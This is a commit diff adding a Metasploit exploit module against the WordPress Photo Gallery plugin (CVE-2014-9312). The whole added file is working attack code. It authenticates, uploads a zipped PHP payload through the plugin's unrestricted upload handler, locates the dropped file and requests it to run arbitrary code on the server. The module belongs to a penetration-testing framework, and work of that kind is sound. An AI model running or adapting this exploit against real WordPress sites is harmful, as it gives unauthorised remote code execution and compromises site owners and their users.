Land rapid7#4746, WordPress photo-gallery exploit

Author: firefart

modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb

@@ -0,0 +1,122 @@
+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex/zip'
+require 'json'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FileDropper
+  include Msf::HTTP::Wordpress
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress Photo Gallery 1.2.5 Unrestricted File Upload',
+      'Description'     => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a
+                              remote attacker to execute arbitrary PHP code. This flaw exists
+                              because the photo-gallery\photo-gallery.php script allows access
+                              to filemanager\UploadHandler.php. The post() method in UploadHandler.php
+                              does not properly verify or sanitize user-uploaded files.},
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Kacper Szurek',                  # Vulnerability disclosure
+          'Rob Carr <rob[at]rastating.com>' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['OSVDB', '117676'],
+          ['WPVDB', '7769'],
+          ['CVE', '2014-9312'],
+          ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
+        ],
+      'DisclosureDate'  => 'Nov 11 2014',
+      'Platform'        => 'php',
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [['photo-gallery < 1.2.6', {}]],
+      'DefaultTarget'   => 0
+    ))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [true, 'The username to authenticate with']),
+        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
+      ], self.class)
+  end
+
+  def check
+    check_plugin_version_from_readme('photo-gallery', '1.2.6')
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def generate_mime_message(payload, name)
+    data = Rex::MIME::Message.new
+    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
+    zip.add_file("#{name}.php", payload.encoded)
+    data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"")
+    data
+  end
+
+  def exploit
+    print_status("#{peer} - Authenticating using #{username}:#{password}...")
+    cookie = wordpress_login(username, password)
+    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
+    print_good("#{peer} - Authenticated with WordPress")
+
+    print_status("#{peer} - Preparing payload...")
+    payload_name = Rex::Text.rand_text_alpha(10)
+    data = generate_mime_message(payload, payload_name)
+
+    upload_dir = "#{Rex::Text.rand_text_alpha(5)}/"
+    print_status("#{peer} - Uploading payload to #{upload_dir}...")
+    res = send_request_cgi(
+      'method'    => 'POST',
+      'uri'       => wordpress_url_admin_ajax,
+      'vars_get'  => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
+      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
+      'data'      => data.to_s,
+      'cookie'    => cookie
+    )
+
+    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
+    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
+    print_good("#{peer} - Uploaded the payload")
+
+    print_status("#{peer} - Parsing server response...")
+    begin
+      json = JSON.parse(res.body)
+      if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
+        fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
+      else
+        uploaded_name = json['files'][0]['name'][0..-5]
+        php_file_name = "#{uploaded_name}.php"
+        payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name)
+        print_good("#{peer} - Parsed response")
+
+        register_files_for_cleanup(php_file_name)
+        register_files_for_cleanup("../#{uploaded_name}.zip")
+        print_status("#{peer} - Executing the payload at #{payload_url}")
+        send_request_cgi(
+        {
+          'uri'     => payload_url,
+          'method'  => 'GET'
+        }, 5)
+        print_good("#{peer} - Executed payload")
+      end
+    rescue
+      fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
+    end
+  end
+end